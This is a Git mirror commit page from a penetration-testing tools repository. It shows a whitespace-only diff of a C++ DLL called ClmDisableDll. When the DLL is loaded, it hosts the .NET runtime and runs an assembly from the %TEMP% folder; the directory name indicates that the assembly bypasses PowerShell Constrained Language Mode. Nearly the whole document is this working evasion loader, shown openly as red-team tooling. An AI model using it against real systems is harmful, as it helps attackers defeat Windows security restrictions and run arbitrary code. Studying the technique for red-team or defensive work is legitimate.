Git/mgeeky-Penetration-Testing-Tools
1
0
Fork 0
mirror of https://github.com/mgeeky/Penetration-Testing-Tools.git synced 2024-12-24 18:09:45 +01:00
Code Issues Packages Projects Releases Wiki Activity

Update main.cpp

Browse Source
This commit is contained in:
Mariusz B 2019-10-03 22:06:26 +02:00 committed by GitHub
parent 5ca1e8407e
commit 8b2e8f56bf
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 96 additions and 96 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

192
red-teaming/Bypass-ConstrainedLanguageMode/ClmDisableDll/main.cpp
View File

@ -18,126 +18,126 @@
// Specify below .NET assembly, main class to instantiate and parameters to pass there.
namespace CustomAssemblyParameters {
LPCWSTR AssemblyName = L"%TEMP%\\ClmDisableAssembly.dll";
LPCWSTR TypeName = L"ClmDisableAssembly.ClmDisableAssembly";
LPCWSTR MethodName = L"Start";
LPCWSTR Argument = L"(called from native CLR host)";
LPCWSTR AssemblyName = L"%TEMP%\\ClmDisableAssembly.dll";
LPCWSTR TypeName = L"ClmDisableAssembly.ClmDisableAssembly";
LPCWSTR MethodName = L"Start";
LPCWSTR Argument = L"(called from native CLR host)";
}
//////////////////////////////////////////////////
#ifdef _DEBUG
# define msg(x) MessageBoxW(nullptr, x, L"LoadCLRFromNativeDLL", 0)
# define msg(x) MessageBoxW(nullptr, x, L"LoadCLRFromNativeDLL", 0)
#else
# define msg(x) ((void)0)
# define msg(x) ((void)0)
#endif
void DoProcessAttach()
{
ICLRMetaHost *metaHost = nullptr;
ICLRRuntimeInfo *runtimeInfo = nullptr;
ICLRRuntimeHost *runtimeHost = nullptr;
IEnumUnknown *runtime = nullptr;
IUnknown *enumRuntime = nullptr;
ICLRMetaHost *metaHost = nullptr;
ICLRRuntimeInfo *runtimeInfo = nullptr;
ICLRRuntimeHost *runtimeHost = nullptr;
IEnumUnknown *runtime = nullptr;
IUnknown *enumRuntime = nullptr;
LPWSTR frameworkName = nullptr;
DWORD bytes = 2048;
DWORD result = 0;
LPWSTR frameworkName = nullptr;
DWORD bytes = 2048;
DWORD result = 0;
if (CLRCreateInstance(
CLSID_CLRMetaHost,
IID_ICLRMetaHost,
reinterpret_cast<LPVOID*>(&metaHost)
) != S_OK) {
msg(L"FAIL: Could not create MetaHost CLR instance.");
return;
}
if (CLRCreateInstance(
CLSID_CLRMetaHost,
IID_ICLRMetaHost,
reinterpret_cast<LPVOID*>(&metaHost)
) != S_OK) {
msg(L"FAIL: Could not create MetaHost CLR instance.");
return;
}
if (!metaHost || (metaHost->EnumerateInstalledRuntimes(
&runtime
) != S_OK)) {
msg(L"FAIL: Cannot enumerate installed runtimes.");
return;
}
if (!metaHost || (metaHost->EnumerateInstalledRuntimes(
&runtime
) != S_OK)) {
msg(L"FAIL: Cannot enumerate installed runtimes.");
return;
}
if (!runtime) {
msg(L"FAIL: Could not find installed runtimes.");
return;
}
if (!runtime) {
msg(L"FAIL: Could not find installed runtimes.");
return;
}
frameworkName = reinterpret_cast<LPWSTR>(LocalAlloc(
LPTR,
bytes
));
if (!frameworkName) {
msg(L"FAIL: could not allocate 2048 bytes for framework name buffer.");
return;
}
frameworkName = reinterpret_cast<LPWSTR>(LocalAlloc(
LPTR,
bytes
));
if (!frameworkName) {
msg(L"FAIL: could not allocate 2048 bytes for framework name buffer.");
return;
}
while (runtime->Next(1, &enumRuntime, 0) == S_OK) {
if (enumRuntime && (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK)) {
if (runtimeInfo != nullptr) {
runtimeInfo->GetVersionString(frameworkName, &bytes);
}
}
}
while (runtime->Next(1, &enumRuntime, 0) == S_OK) {
if (enumRuntime && (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK)) {
if (runtimeInfo != nullptr) {
runtimeInfo->GetVersionString(frameworkName, &bytes);
}
}
}
if (runtimeInfo == nullptr || (runtimeInfo->GetInterface(
CLSID_CLRRuntimeHost,
IID_ICLRRuntimeHost,
reinterpret_cast<LPVOID*>(&runtimeHost)
) != S_OK)) {
msg(L"FAIL: Could not get CLRRuntimeHost interface's reference.");
return;
}
if (runtimeInfo == nullptr || (runtimeInfo->GetInterface(
CLSID_CLRRuntimeHost,
IID_ICLRRuntimeHost,
reinterpret_cast<LPVOID*>(&runtimeHost)
) != S_OK)) {
msg(L"FAIL: Could not get CLRRuntimeHost interface's reference.");
return;
}
if (runtimeHost == nullptr) {
msg(L"FAIL: Could not obtain reference to CLRRuntimeHost.");
return;
}
if (runtimeHost == nullptr) {
msg(L"FAIL: Could not obtain reference to CLRRuntimeHost.");
return;
}
runtimeHost->Start();
runtimeHost->Start();
WCHAR assemblyPath[1024] = L"";
ExpandEnvironmentStringsW(CustomAssemblyParameters::AssemblyName, assemblyPath, _countof(assemblyPath));
LPCWSTR assemblyPathPtr = assemblyPath;
WCHAR assemblyPath[1024] = L"";
ExpandEnvironmentStringsW(CustomAssemblyParameters::AssemblyName, assemblyPath, _countof(assemblyPath));
LPCWSTR assemblyPathPtr = assemblyPath;
HRESULT hres = runtimeHost->ExecuteInDefaultAppDomain(
assemblyPathPtr,
CustomAssemblyParameters::TypeName,
CustomAssemblyParameters::MethodName,
CustomAssemblyParameters::Argument,
&result
);
if (hres != S_OK) {
wchar_t msgbuf[1024] = L"";
swprintf_s(msgbuf, L"FAIL: Could not invoke custom .NET assembly, instantiate it's type or invoke a method. HRESULT = 0x%08x . Assembly path: '%s'", hres, assemblyPath);
msg(msgbuf);
}
HRESULT hres = runtimeHost->ExecuteInDefaultAppDomain(
assemblyPathPtr,
CustomAssemblyParameters::TypeName,
CustomAssemblyParameters::MethodName,
CustomAssemblyParameters::Argument,
&result
);
if (hres != S_OK) {
wchar_t msgbuf[1024] = L"";
swprintf_s(msgbuf, L"FAIL: Could not invoke custom .NET assembly, instantiate it's type or invoke a method. HRESULT = 0x%08x . Assembly path: '%s'", hres, assemblyPath);
msg(msgbuf);
}
//runtimeHost->Stop();
//runtimeHost->Release();
runtimeInfo->Release();
metaHost->Release();
//runtimeHost->Stop();
//runtimeHost->Release();
runtimeInfo->Release();
metaHost->Release();
}
BOOLEAN WINAPI DllMain(
IN HINSTANCE /*hDllHandle*/,
IN DWORD nReason,
IN LPVOID /*Reserved*/
IN HINSTANCE /*hDllHandle*/,
IN DWORD nReason,
IN LPVOID /*Reserved*/
)
{
switch (nReason)
{
case DLL_PROCESS_ATTACH:
{
DoProcessAttach();
break;
}
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
switch (nReason)
{
case DLL_PROCESS_ATTACH:
{
DoProcessAttach();
break;
}
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}